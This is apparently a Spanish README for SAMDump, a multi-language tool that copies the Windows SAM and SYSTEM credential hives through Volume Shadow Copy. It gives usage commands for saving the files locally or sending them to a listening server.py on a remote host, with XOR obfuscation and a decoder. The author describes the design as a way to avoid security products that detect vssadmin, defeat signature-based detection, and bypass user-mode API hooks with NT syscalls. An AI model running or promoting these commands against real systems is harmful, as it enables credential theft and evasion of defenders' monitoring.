
Extrae los archivos SAM y SYSTEM usando la API de Volume Shadow Copy (VSS). Con opciones de exfiltración y ofuscación XOR. Implementado en C#, C++, Crystal y Python.
Extrae archivos SAM y SYSTEM de Windows usando el Servicio de Copia de Sombra de Volumen (VSS) con múltiples opciones de exfiltración y ofuscación XOR:
Está implementado en C++, C#, Crystal y Python, y funciona en versiones modernas de Windows.
Requiere privilegios elevados, y si se crea, la copia de sombra se elimina automáticamente después de aproximadamente 5 minutos.
SAMDump.exe [OPTIONS]
Options:
--save-local [BOOL] Save locally (default: false)
--output-dir DIR Output directory (default: C:\Windows\tasks)
--send-remote [BOOL] Send remotely (default: false)
--host IP Host for remote sending (default: 127.0.0.1)
--port PORT Port for remote sending (default: 7777)
--xor-encode [BOOL] XOR Encode (default: false)
--xor-key KEY Enable XOR with specified key (default: SAMDump2025)
--disk DISK Disk for shadow copy (default: C:\)
--help Show this help
Guardar localmente sin codificación:
SAMDump.exe --save-local --output-dir "C:\temp"

Guardar localmente con codificación XOR:
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

Enviar a un servidor remoto con codificación XOR y la clave predeterminada:
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

server.py es un servidor Python que recibe archivos por red con decodificación XOR automática y formato de nombre de archivo:
python server.py [OPTIONS]
Options:
--host HOST IP address to listen on (default: 0.0.0.0)
--port PORT Port to listen on (default: 7777)
--xor-key KEY Key for XOR decoding (optional)
Escuchar en una interfaz y puerto específicos con clave XOR:
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

El nombre del archivo contiene la dirección IP y la fecha, por lo que puedes enviar los archivos desde diferentes sistemas, automatizando el proceso.
xor-decoder.py es un script Python para decodificar localmente archivos SAM y SYSTEM codificados con XOR:
python xor-decoder.py [OPTIONS]
Options:
--sam SAM Path to encoded SAM file (required)
--system SYSTEM Path to encoded SYSTEM file (required)
--xor-key KEY XOR key for decoding (default: SAMDump2025)
--output-dir DIR Output directory for decoded files (default: ./decoded)
Decodificar con clave predeterminada:
python xor-decoder.py --sam sam.txt --system system.txt

Decodificar con clave personalizada y directorio de salida:
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

El proyecto incluye versiones implementadas en tres lenguajes:
comtypes (pip install comtypes)Quería automatizar este proceso y la mayoría de las máquinas Windows que encuentro tienen VSS activo, pero las soluciones de seguridad detectan el uso de vssadmin para crear copias de sombra y extraer estos archivos porque es una técnica conocida.
Esta herramienta extrae los archivos sin escribir en el sistema de archivos de destino cuando se usa el modo de transferencia remota; y la codificación XOR ofrece una ofuscación básica para evadir la detección basada en firmas (incluso en modo remoto).
Además, utiliza llamadas a la API de NT para eludir algunas monitorizaciones y hooks de API en modo usuario.
La herramienta emplea llamadas al sistema NT en lugar de funciones estándar de la API de Windows, lo que puede eludir algunos hooks de API en modo usuario comúnmente monitorizados:
NtCreateFile y NtReadFile: Se usan para abrir un identificador y leer los bytes de los archivos SAM y SYSTEM en la copia de sombra
NtWriteFile: Se usa para guardar los archivos localmente
Gracias a @vx-underground por identificar y sugerir optimizaciones en el código de recorrido de la tabla de direcciones de exportación (EAT), reemplazando llamadas innecesarias a NtReadVirtualMemory con acceso directo a punteros.